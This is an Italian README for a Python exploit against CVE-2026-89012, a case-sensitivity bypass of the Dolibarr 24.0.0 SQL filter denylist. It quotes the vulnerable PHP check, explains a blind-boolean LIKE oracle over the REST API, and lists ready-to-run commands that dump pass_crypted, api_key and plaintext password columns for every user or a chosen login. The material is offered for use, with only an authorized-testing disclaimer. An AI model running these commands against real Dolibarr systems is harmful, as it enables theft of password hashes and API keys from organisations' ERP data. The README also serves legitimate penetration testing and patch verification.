
Exploit Python per CVE-2026-89012, un bypass della denylist dei filtri SQL di Dolibarr che utilizza un oracolo blind-boolean per estrarre hash di password e chiavi API tramite la REST API.
Exploit per CVE-2026-89012: la denylist dei campi proibiti in
forgeSQLFromUniversalSearchCriteria() (introdotta con la correzione di CVE-2026-71510)
utilizza un in_array() case-sensitive mentre il charset dell'operando consente A-Z.
Poiché la risoluzione delle colonne SQL è case-insensitive, un utente API autenticato può
interrogare t.PASS_CRYPTED invece di t.pass_crypted e aggirare la denylist.
I predicati LIKE con prefisso trasformano sqlfilters in un oracolo booleano cieco che
recupera gli hash delle password carattere per carattere.
Record: https://www.cve.org/CVERecord?id=CVE-2026-89012
| Affected | Dolibarr 24.0.0 |
| Fixed | 24.0.1 |
| Prerequisites | token API valido con users->lire |
| Impact | divulgazione di pass_crypted, api_key, pass, pass_temp, openid |
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) { // case-sensitive
return '1=1';
}
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check
# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users
# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump
# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
Solo libreria standard (Python 3.8+). Supporta --proxy, --insecure, --timeout.
Nota: con una collation case-insensitive (quella predefinita) il valore bcrypt viene
recuperato esattamente fino al case dei caratteri; le colonne in chiaro (llx_adherent.pass
tramite /api/index.php/members, pass_temp) vengono recuperate byte per byte.

Solo per test autorizzati e ricerca. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione al test.